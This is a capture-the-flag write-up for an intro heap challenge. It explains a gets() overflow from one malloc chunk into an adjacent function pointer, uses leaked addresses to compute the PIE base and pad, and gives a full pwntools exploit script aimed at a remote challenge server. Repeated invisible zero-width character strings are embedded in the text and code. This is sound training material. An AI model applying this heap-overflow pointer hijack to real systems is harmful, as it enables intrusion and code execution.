← Back to Writeups
CUSTOMEasypwn

pwn7_heap0

XESXOR9/2/20263 min read
#pwn#custom#easy#exact_pad_from_chunk_leaks#heap_overflow_into_function_po#pie_base_from_main_leak#ret2win

pwn7_heap0

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: exact_pad_from_chunk_leaks, heap_overflow_into_function_pointer, pie_base_from_main_leak, ret2win

Summary

Task: intro heap challenge — two adjacent malloc chunks where the second holds a function pointer that is later called; an unbounded gets() into the first chunk overflows into the second chunk's fnptr. Solution: parse the leaked buf1/buf2/main addresses, compute exact pad = buf2 - buf1 (0x50) and PIE base = main_leak - 0x11bb, overwrite the fnptr with winner (system("cat flag.txt")) and trigger the call.

pwn7_heap0 — pwn_spbctf

Description

Just do that

(heap, tier pwn7, author Artur Khanov / @awengar; remote nc 109.233.56.90 11750, platform pwn.spbctf.ru)

A 64-bit ELF (heap0.elf) allocates two heap chunks, stores a function pointer in the second, reads attacker input into the first via gets(), then calls the function pointer. The goal is to redirect that call to a winner function that runs system("cat flag.txt").

Analysis

checksec: PIE, NX, no stack canary, Partial RELRO, not stripped. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

main is at PIE-relative offset 0x11bb. Its logic:

  1. buf1 = malloc(0x40) — first chunk (0x50 including header/alignment).
  2. buf2 = malloc(8) — second chunk, immediately adjacent.
  3. *(void**)buf2 = nowinner — store a benign function pointer (nowinner @ 0x11a8).
  4. printf("data is at %p, fp is at %p, main at %p", buf1, buf2, main) — leaks both heap chunk addresses and the runtime address of main (gives both a heap leak and a PIE-base leak).
  5. gets(buf1) — unbounded read into the 0x40 chunk: a classic heap buffer overflow that runs straight into the adjacent buf2 chunk and overwrites the function pointer stored there.
  6. rdx = *(void**)buf2; call rdx — calls whatever pointer now sits in buf2. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Relevant functions:

  • winner @ 0x1189 — system("cat flag.txt"), prints level passed + flag.
  • nowinner @ 0x11a8 — the harmless default.

Because the program leaks the chunk addresses, there is no guessing involved: the overflow distance is exactly buf2 - buf1. From the observed leaks the chunks are at ...2a0 and ...2f0, so the pad is 0x50 bytes, after which the next 8 bytes land directly on the function pointer.

Solution

Steps:

  1. Receive the leak line and regex out the three 0x... values: buf1, buf2, main_leak.
  2. base = main_leak - 0x11bb (PIE base). Verified, e.g. main 0x57bd732241bb -> base 0x57bd73223000.
  3. winner = base + 0x1189.
  4. pad = buf2 - buf1 (== 0x50 here). Compute it from the leaks rather than hardcoding, so it adapts to any alignment.
  5. Send b"A" * pad + p64(winner) with gets (newline-terminated). If p64(winner) happens to contain a 0x0a byte, gets would truncate it — just reconnect to get a different PIE base (the provided script retries).
  6. call rdx now jumps to winner, which runs system("cat flag.txt") and prints level passed + the flag. No rate limit on this server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
#!/usr/bin/env python3
from pwn import *
import re, time

HOST, PORT = "109.233.56.90", 11750
context.arch = "amd64"

WINNER_OFF = 0x1189
MAIN_OFF   = 0x11bb

def attempt():
    io = remote(HOST, PORT)
    line = io.recvline(timeout=15)
    # data is at 0x..., fp is at 0x..., main at 0x...
    leaks = [int(x, 16) for x in re.findall(rb"0x[0-9a-fA-F]+", line)]
    if len(leaks) < 3:
        io.close(); return None
    buf1, buf2, main_leak = leaks[0], leaks[1], leaks[2]
    base   = main_leak - MAIN_OFF
    winner = base + WINNER_OFF
    pad    = buf2 - buf1            # exact distance, no guessing (== 0x50)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    wbytes = p64(winner)
    if b"\n" in wbytes:             # gets() would truncate -> reconnect
        io.close(); return None

    io.sendline(b"A" * pad + wbytes)
    try:
        data = io.recvall(timeout=10)
    except EOFError:
        data = b""
    io.close()
    m = re.search(rb"SPBCTF\{[^}]*\}", data, re.IGNORECASE)
    return m.group().decode() if m else None

def main():
    for _ in range(8):
        try:
            f = attempt()
        except Exception:
            f = None
        if f:
            print("FLAG:", f); return
        time.sleep(5)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍